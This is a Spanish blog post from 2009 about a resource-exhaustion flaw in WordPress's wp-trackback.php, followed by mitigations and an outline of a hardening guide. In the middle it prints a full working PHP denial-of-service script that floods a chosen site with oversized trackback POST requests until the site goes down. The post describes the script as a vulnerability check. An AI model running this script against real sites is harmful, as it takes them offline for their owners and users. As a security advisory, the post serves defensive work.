20th
OCT
Fallo de seguridad en WordPress
Publicado por ElPerro | Archivado en Seguridad, Vulnes
Hace apenas un par de días atrás José Carlos Norte notificaba acerca de un fallo en todas las versiones de WordPress que permitía a un atacante ejecutar una rutina de denegación de servicios en los servidores que estén brindando alojamiento a un sitio desarrollado con WordPress.
Dicho fallo radica en el archivo wp-trackback.php al no validar como corresponde la variable $charset y de esta manera permite el paso de peticiones del tipo POST especialmente diseñada con una cantidad indeterminada de parámetros, causando de esta manera el consumo masivo de recursos en el servidor afectado.
El exploit
El siguiente código nos permitirá saber si nuestro sitio web es o no vulnerable a tal cobarde ataque y de esa manera podremos proceder a realizar el patcheo correspondiente al bug.
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);echo “hit!\n”;
$count++;
}?>
La solución
Hay tres maneras de evitar ser víctimas de este fallo. Una sería modificando el parámetro php_memory_limit del php.ini en la configuración de nuestro servidor y con esto evitaríamos que las aplicaciones que allí se ejecuten consuman solo los recursos que nosostros le dispongamos, la segunda es consultar si nuestro hosting posee mod_security, ya que filtraría los paquetes “malintencionados” o masivos y la tercera es simplemente, modificar el archivo wp-trackback.php
Nuevamente, José Carlos Norte nos brinda la solución:
La linea 45 del archivo wp-trackback.php: $charset = $_POST['charset'];
Debe ser reemplaza por el siguiente código:
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }
También podemos encontrar soluciones a diversos inconvenientes de seguridad en un “whitepaper” provisto por la gente de DragonJar.org en donde nos sugieren el uso de otro tipo de técnicas para mantener seguro nuestro blog como el WP-IDS, un mod para WordPress modificado en el mismo paper.
El whitepaper de DragonJar abarca los siguientes temas
1. Introducción
2. Instalando WordPress
2.1. Accediendo a las tablas de WordPress
2.2. Cambiando el prefijo de las tablas
2.3. Antes de la instalación
2.4. Cambio manualmente
2.5. Através del cambiador de prefijos de WordPress
3. Preparando el Blog
3.1. Cambiando el nombre de usuario “admin”
3.2. Creando un nuevo usuario con acceso limitado
4. Endureciendo la instalación de WP
4.1. Restringiendo wp-content y wp-includes
4.2. Restringiendo wp-admin
4.2.1. Bloquear todo excepto tu IP
4.3. Contraseña requerida – .htpasswd
4.3.1 El archivo .htaccess
4.3.2 El archivo .htpasswd
5. Plugins necesarios
5.1 WPIDS – Detector de intrusos
5.2 WordPress Plugin Tracker – ¿Estas actualizado?
5.3 WordPress Online Security ScannerNota: El documento se encuentra en inglés.
Vía | DragonJar.org | José Carlos Norte
Responder
Opciones del post
-
octubre 20, 2009 -
Seguridad, Vulnes -
Sin comentarios
-
Feed de comentarios -
Del.ico.us
-
Digg This
-
Twitter
-
Facebook
Archives
- septiembre 2010
- agosto 2010
- julio 2010
- junio 2010
- mayo 2010
- abril 2010
- marzo 2010
- febrero 2010
- enero 2010
- diciembre 2009
- noviembre 2009
- octubre 2009
- septiembre 2009
- agosto 2009
- julio 2009
- junio 2009
- mayo 2009
- abril 2009
- marzo 2009
- febrero 2009
- enero 2009
- diciembre 2008
- noviembre 2008
- octubre 2008
- septiembre 2008
- agosto 2008
- julio 2008
- junio 2008
- mayo 2008
- abril 2008
- marzo 2008
- febrero 2008
- enero 2008
- diciembre 2007
- noviembre 2007
- octubre 2007
- Correo Hotmail
- Fan Número 1
- Implantes Dentales
- Juegos Gratis
- Mensajes Movilnet
- Música Pop
- Rojadirecta
- Seguros Coche
- SerCurioso
- Vestidos de 15 años
- Videos de Terror
- Videos Divertidos
- Videos en YouTube
- Videos Musicales
- Youtube musica











